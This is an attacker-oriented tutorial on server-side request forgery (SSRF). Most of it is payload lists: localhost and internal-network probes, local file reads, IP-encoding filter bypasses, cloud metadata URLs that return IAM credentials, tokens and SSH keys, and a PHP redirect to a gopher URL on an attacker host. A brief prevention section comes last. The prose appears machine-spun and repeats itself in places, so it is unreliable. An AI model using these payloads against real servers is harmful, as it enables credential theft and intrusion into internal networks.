How to Exploit & Hack Servers
In a Server-Side Request Forgery (SSRF) attack, a hacker leverages the capabilities of the Web server to be the means in the attack itself. Since the web server is frequently behind a corporate firewall, the attacks may work without the careful security inspection that external requests and payloads would receive.
Despite the fact that an SSRF attack aims to exploit a web application vulnerability, it allows hackers to pivot around a firewall and turn directly to the back-end web server. From that point, the possibilities of lateral maneuver the attackers could take are innumerable.
SSRF represents a menace to cloud services as a result of the deployment of metadata API, which enables applications to access configurations, logs, credentials, and additional information in the fundamental cloud infrastructure.
Although the metadata API may merely be accessed locally, an SSRF exploit renders it accessible from the internet and may allow lateral movement and network reconnaissance.
SSRF played a significant role in some of the more destructive cyberattacks in the media recently, particularly the Capital One breach, whereby the attacker obtained sensitive data from more than 100 million people and over 30 companies.
Nevertheless, Amazon Web Services (AWS) increased its SSRF protections in the latest version of the EC2 Instance Metadata service back in November 2019.
How Hackers Take Advantage Of Server-Side Request Forgery Attacks
In a Server-Side Request Forgery attack, the hacker employs thoroughly constructed URLs to manipulate the Web server’s capacity to reach out to resources inside the organization or to resources from reliable third parties.
In a relevant instance, the hacker will construct a type of request that could usually fetch a product description from the database. The hacker will alter the request to fetch information from another server or different kind of information, in particular server configuration information or administration accounts.
Even though an SSRF attack will frequently be deployed to assist a hacker in moving laterally through an enterprise, it may employ the server’s loopback function (A call to 127.0.0.1) to obtain access to application server capabilities that would usually be concealed from the outside.
Moreover, the application server itself may be attacked via URLs specifying that information be returned from ‘127.0.0.1‘ or ‘localhost.’ The spiteful utilization of either of these locations in the URL may give rise to the server providing sensitive information about itself — information that may subsequently be employed for even more stronger and widespread attacks.
One way for an attacker to bypass SSRF filters is by deploying ‘http://127.1‘ as opposed to ‘http://127.0.0.1‘. This resolves to the same thing but perplexes filters blocking ‘localhost/127.0.0.1‘ particularly.
An attacker would be aware of these localhost payloads:
http://localhost:80
http://127.0.0.1:80
http://127.0.0.1:22
http://localhost:22
http://127.0.0.1:443
http://localhost:443
http://0.0.0.0:80
http://0.0.0.0:22
http://0.0.0.0:443
In both instances, the SSRF exploit is leveraging the trusted relationship that exists between the web application server and the remainder of the enterprise application infrastructure.
Also, a hacker could bypass localhost using Classless inter-domain routing (CIDR) which is a set of IP standards employed to establish singular identifiers for networks and single devices:
http://127.0.0.0
http://127.0.1.3
http://127.127.127.127
Given that the majority of companies have permitted systems within their enterprise boundaries to convey without persistent authentication, once an adversary discovers a vulnerable web server, they may move laterally to a broad range of targets within the company.
Methods Hackers Use To Initiate SSRF Attacks
There is a wide range of methods that may be employed to initiate Server-Side Request Forgery attacks. The majority of the attacks utilize a URL that comprises data the targeted server doesn’t expect and doesn’t manage in a secure way.
The majority of the attacks utilize a URL that comprises data the targeted server doesn’t expect and doesn’t manage in a secure way. In many instances, these include a small number of particular characters that result in the Web server to be awry.
To illustrate how an SSRF attack may initiate an instance could start with something other than ‘http‘ or ‘https.’
Additional schemas may contain ‘file‘, ‘dict’, and ‘image,’ each signifying a particular kind of resource the server anticipates to return, even though ‘ftp‘ and ‘gopher‘ are instances of schema that designate services that will be employed to return data.
The ‘file:///‘ URL schema may be utilized by an attacker to retrieve an important file from the filesystem:
http://thetargetdomain/athuljith.php?url=file:///etc/passwd
http://thetargetdomain/athuljith.php?url=file:///C:/Windows/win.ini
If ‘file:///etc/passwd‘ does not work, the hacker could alter the attack and specifically bypass a filter that operates with a blacklist:
file://\/\/etc/passwd
Hence, we can see that an adversary could exploit URL schemas that are not widely known to access files on the local system or on the internal network.
The attacker may also utilize the ‘dict://‘ URL schema to render requests to any target host on any port and transmit custom data:
http://thetargetdomain/athuljith.php?dict://attackerdomain:1337/
To demonstrate this vulnerability in more depth, let’s presume we possess a vulnerable web application running on a hypothetical domain ‘thetargetdomain‘ holding a resource called ‘account.php‘.
It possesses a parameter called ‘image‘, and it appears to be fetching an image from a resource:
GET /account.php?image=http://thirdpartyserver/image.jpg&id=9826739HTTP/1.1
Host: thetargetdomain
We can examine the parameter ‘image‘ and see that it is taking a URL and fetching a file from a third party server. We can proceed by altering it and attempt to retrieve something different instead:
GET /account.php?image=http://www.ourdomain/athuljith.html HTTP/1.1
Host: thetargetdomain
This example server ‘http://ourdomain‘ hypothetically is ours. Hence, we can observe the logs. For instance, we may perceive this entry in the logs:
<IP of targetdomain> - - [27/Feb/2020:00:03:15 -0700] "GET /athuljith.html HTTP/1.1" 404 113 "-" "<Client type>"
Therefore, we can see that we received an out-of-band call from the application itself. The application is processing ‘image‘ (URL) parameter and making a call to the external application or resources.
The application page can hold lines, as indicated below:
$acquireimageurl = $_GET['image'];
$accountimage = fopen($acquireimageurl, 'rb');
As we can observe, this provides several exploitation possibilities for a hacker.
A hacker may begin to scan internal hosts and networks with reverse HTTP calls such as the following:
GET /account.php?image=http://192.168.100.X HTTP/1.1
Host: thetargetdomain
This can ultimately permit the attacker to obtain access to internal files and resources.
Bear in mind that SSRF could be deployed by a hacker to render requests to additional internal resources which the web server holds access to, though are not publicly facing. For instance, accessing instance metadata in Amazon EC2 instances. This service is available solely to the server and not open to the public. A hacker may become imaginative using SSRF and run port scans on internal networks with this method.
GET /?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: thetargetdomain
Keep in mind that ‘169.254.169.254‘ is deployed in Amazon EC2 and additional cloud computing platforms to distribute metadata to cloud instances.
In the event that ‘http://169.254.169.254/‘ is blacklisted, but the attacker identified an SSRF, they could utilize the following:
http://0xA9FEA9FE/
http://0251.0376.0251.0376/
Moreover, a hacker could render the subsequent request on Apache HTTP servers with mod_status enabled (Enabled by default):
GET /?url=http://localhost/server-status HTTP/1.1
Host: thetargetdomain
Contingent on how the application is making the request, URL schemas apart from file and HTTP may be accessible to the hacker to employ.
For instance, in the event that ‘cURL‘ was being employed to render requests, it’s feasible to employ the ‘dict URL‘ schema to render requests to any host on any port and transmit custom data.
GET /?url=dict://localhost:11211/stat HTTP/1.1
Host: thetargetdomain
This request would result in the application to connect to localhost on port 11211 and transmit the string ‘stat‘. Port 11211 represents the default port deployed by Memcached, which is not usually exposed.
Additionally, Gopher permits users to examine, search, and collect information found in different locations:
http://thetargetdomain/athuljith.php?url=http://attackerdomain/gopher.phpgopher.php (attacker would host it on their domain):-
<?php
header('Location: gopher://attackerdomain:1337/_Lol%0Assrf%0APentest');
?>
LDAP is the abbreviation for Lightweight Directory Access Protocol. LDAP is an application protocol deployed over an IP network to handle and access the distributed directory information service:
http://thetargetdomain/athuljith.php?url=ldap://localhost:1337/%0astats%0aquit
http://thetargetdomain/athuljith.php?url=ldaps://localhost:1337/%0astats%0aquit
http://thetargetdomain/athuljith.php?url=ldapi://localhost:1337/%0astats%0aquit
SFTP (SSH File Transfer Protocol) represents a secure file transfer protocol:
http://thetargetdomain/athuljith.php?url=sftp://attackerdomain:1337/
In the event that an attacker discovers an SSRF in Amazon Cloud, Amazon reveals an internal service each EC2 instance may query for instance metadata regarding the host. Provided that a hacker discovered an SSRF vulnerability that runs on EC2, they could request the subsequent:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
This would provide the attacker with useful information such as AWS keys and SSH keys.
For instance:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
An experienced attacker will know that once they hold a SSRF vulnerability on a Google Cloud server, they may swiftly obtain the entire internal metadata using the subsequent payload:
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
For Google Cloud SSRF (Note that Google has deprecated the v1 metadata service.):
- Needs the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
Everything in one request:
curl http://169.254.169.254/metadata/v1.json | jq
For Google SSRF:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
For Digital Ocean SSRF:
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
For Alibaba SSRF:
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
For Azure SSRF:
- Needs the header "Metadata: true"
http://169.254.169.254/metadata/v1/maintenance
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
To retrieve a file from exterior websites which hold a malicious payload with content type served as html, utilize the following:
http://localhost:4567/?url=http://attackerdomain/poc.svg
In addition, experienced attackers can get creative and bypass using other techniques such as utilizing alternate IP encoding:
http://0x41414141A9FEA9FE/
http://0xA9.0xFE.0xA9.0xFE/
http://0251.00376.000251.0000376/
http://425.510.425.510/
In the event that an application hasn’t been coded to correctly whitelist solely the resource and service types destined for its employment, then one of the others may be the gateway to behavior the developers never destined.
The subsequent instance refers to a small number of special characters that may be embedded within URLs. Such characters such as ‘#‘ signifying a URL fragment to follow, could be the leaping off point for malicious URL excursions into resources you deemed were secure.
Additional special characters such as ‘?‘ and ‘*,‘ may deliver comparable points of departure through somewhat distinct operations. In every instance, however, the code that follows the special character is the malicious payload that is able to compromise your security.
In every instance, however, the code that follows the particular character is the malicious payload that is able to compromise your security.
Preventing SSRF Attacks
Since web application servers tend to be a necessity and are open to an enormous community of users, it is vital that software programmers and penetration testers take the appropriate measures to secure their infrastructure.
One method involves whitelisting or blacklisting particular schema and resource locations. Whitelists may be fairly robust, restricting the responses to particular schema types and resource addresses.
Provided that an application needs more pliability than a whitelist readily supplies, blacklists may achieve the objective. However, blacklists need further reflection and creativity from the developer to eradicate each malicious schema and address.
Response filters should also be sought as, for instance, a field anticipated to return a two-digit number may return merely a two-digit number are robust in their own way. They are a reflection of input validation wherein the application filters input to ensure that merely suitable, correctly formatted input is permitted.
Furthermore, a zero-trust method to security, wherein the numerous components of the application environment ought to continually revalidate to one another, may go a far way toward ensuring that stray queries from malicious URLs are not responded by servers since there would have no application authentication between the numerous points.
Provided that your application solely renders use of HTTP or HTTPS to render requests, merely permit those URL schemas. Disabling unused URL schemas will hinder a web application from making requests employing possible hazardous URL schemas.
Thanks for reading .
Thanks for reading .